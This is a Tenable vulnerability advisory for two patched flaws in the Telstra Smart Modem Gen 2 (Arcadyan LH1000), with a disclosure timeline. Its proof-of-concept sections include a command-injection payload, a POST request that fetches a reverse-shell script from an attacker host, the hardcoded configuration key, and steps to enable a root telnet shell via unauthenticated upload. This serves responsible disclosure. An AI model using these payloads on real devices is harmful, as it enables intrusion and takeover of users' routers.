Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Multiple Vulnerabilities in Telstra Device

High

Synopsis

A researcher at Tenable has discovered multiple vulnerabilities in a Telstra device which could result in unauthenticated remote code execution.

CVE-2023-43477: Post-Auth Command Injection in ping_from parameter of ping_tracerte.cgi

CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

The ping_from parameter in the ping/traceroute diagnostic commands sent via http://[LH1000-address]/ping_tracerte.cgi was vulnerable to command injection.

Unlike the other parameters, it was not sanitized before being passed to strings which build the diagnostic commands, and are then called with popen() in /usr/sbin/httpd.

For example, intercepting and modifying the POST request to ping_tracerte.cgi in a proxy like Burpsuite to have a ping_from parameter as the following (while maintaining the rest of the parameters as normal for the command):

ping_from=;uname+-a

Resulted in the following line being visible in the output:

Linux mymodem 4.1.38 #1 SMP PREEMPT Fri Aug 13 16:24:57 CST 2021 armv7l
GNU/Linux

Proof of Concept:

It was also possible to string together longer chains of commands. Sending a request similar to the following downloaded a reverse shell script from a listener on the attacker host at 192.168.0.2 and saves it to /tmp/shell.sh, which was then run. The ${IFS} blocks here are being used in place of spaces in the shell command.

POST /ping_tracerte.cgi HTTP/1.1
Host: 192.168.0.1
Content-Length: 252
Accept: */*
X-Requested-With: XMLHttpRequest
Cookie: disableLogout=0;
SID_63c6d632=[logged_in_cookie_val]
Connection: close

httoken=518287608&enter=start&util_name=pingtest&ping_ip=192.168.0.1
&ping_from=;curl${IFS}http://192.168.0.2:443/shell.sh${IFS}-o${IFS}/tmp/shell.sh;
&ping_size=56&ping_repeat=4&ping_timeout=10&tracert_host=www.telstra.com.au
&tracert_hops=30

CVE-2023-43478: Unauthenticated configuration restore and firmware update

CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

An unauthenticated user could access http://[LH1000-address]/hninh987R47san82.htm which contained a form which allowed for the upload of manual firmware updates and configuration backups via http://[LH1000-address]/fake_upload.cgi.

Prior to submitting the form with a configuration backup or firmware update, the page checked for a valid key in a request made to http://[LH1000-address]/login_fw.cgi. The key was hardcoded and so this check could be bypassed.

However even that is unnecessary, as it was also possible for requests to fake_upload.cgi without that key and upload an update or configuration backup directly.

Proof of Concept: 

Note:  Without further investigation, it is unknown exactly what settings are and are not required by a configuration backup and which are unique to a particular device. Uploading a configuration backup which has incorrect settings could disable the device, even beyond recovery using the hardware factory reset. 

The simplest way of exploiting this issue was uploading a configuration backup with settings which granted an attacker greater access:

  • Changing ARC_SYS_Password to alter the admin password for the device
  • Setting ARC_TELNETD_ENABLE, ARC_SYS_RDFlag and ARC_SYS_MPTEST to 1 to enable a root telnet shell on port 23
  • Any other changes which could achieve an attacker's desired effects

Step 1: Starting with a valid configuration backup is the easiest way to not permanently damage the device. These could be downloaded from a test device (post-authentication) and altered as required to reflect the device being attacked. 

Step 2: LH1000 configuration backups, at the time of discovery, were encrypted with a hardcoded key and could be decrypted using the following command:

openssl enc -d -aes-256-cbc -md MD5 -salt -in LH1000V1-backup.cfg -out dec.tgz -k '2&15u69A'

Then decompressed with:

tar -xvf dec.tgz

This will result in a ‘config’ directory being created in the current directory, containing all of the device’s backed up configuration files.

Step 3: The configuration files could then be modified. As an example, it was possible to enable a root telnet shell to be listening on port 23 by
setting the following in the .glbcfg file:

ARC_TELNETD_ENABLE=1
ARC_SYS_RDFlag=1
ARC_SYS_MPTEST=1

This caused the right conditions to be passed in /sbin/arc_deviceready to
enable telnet.

Step 4: With changes made to the configuration files, the folder needed to be compressed and encrypted. To compress the config folder into new.cfg:

tar -tzf new.cfg ./config

To encrypt the config, resulting in our encrypted configuration backup
(newenc.cfg):

openssl enc -aes-256-cbc -md MD5 -salt -in new.cfg -out newenc.cfg -k '2&15u69A'

Step 5: The new config could then be posted to fake_upload.cgi with a request similar to the one shown below. Note that a valid httoken could be grabbed via executing ArcBase._t() in a javascript console on the main login page, or just by copying it from other recent traffic.

The token can then be used in a curl command like the following, where $token is the token obtained, newenc.cfg is the configuration backup created in previous steps, and $LH1000 is the ip address of the target device.

curl -F httoken=$token -F restore=@newenc.cfg http://$LH1000/fake_upload.cgi

The device will then reboot with the new configuration. If the telnet feature was enabled, a root shell will be listening on port 23 on reboot.

Solution

Telstra fixed these issues in firmware version 0.18.15r and have pushed the update to customer devices. 

Disclosure Timeline

19 January 2023 - Issue reported to Telstra
20 January 2023 - Acknowledged by Telstra
11 April 2023 - Tenable asks for an update
13 April 2023 - Telstra provides an update, indicating they are working with the manufacturer to have the issues fixed
13 April 2023 - Telstra requests an extension on disclosure, given complexity of working with third parties, releasing fixes
14 April 2023 - Tenable extends disclosure date
5 May 2023 - Telstra provides update on progress of patch, notes timeline for rollout of patch
8 May 2023 - Tenable agrees to withhold technical vulnerability details until after patch has been rolled out
19 May 2023 - Limited advisory published
7 August 2023 - Telstra informs Tenable that affected devices on their network have been patched
18 September 2023 - Advisory updated

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email bughunters@tenable.com

Risk Information

Tenable Advisory ID: TRA-2023-19
Credit:
Evan Grant
CVSSv3 Base / Temporal Score:
6.8
8.8
CVSSv3 Vector:
CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Products:
Telstra Smart Modem Gen 2 / Arcadyan LH1000
Risk Factor:
High

Advisory Timeline

19 May, 2023 - Initial Advisory Release
18 September 2023 - Advisory updated with technical details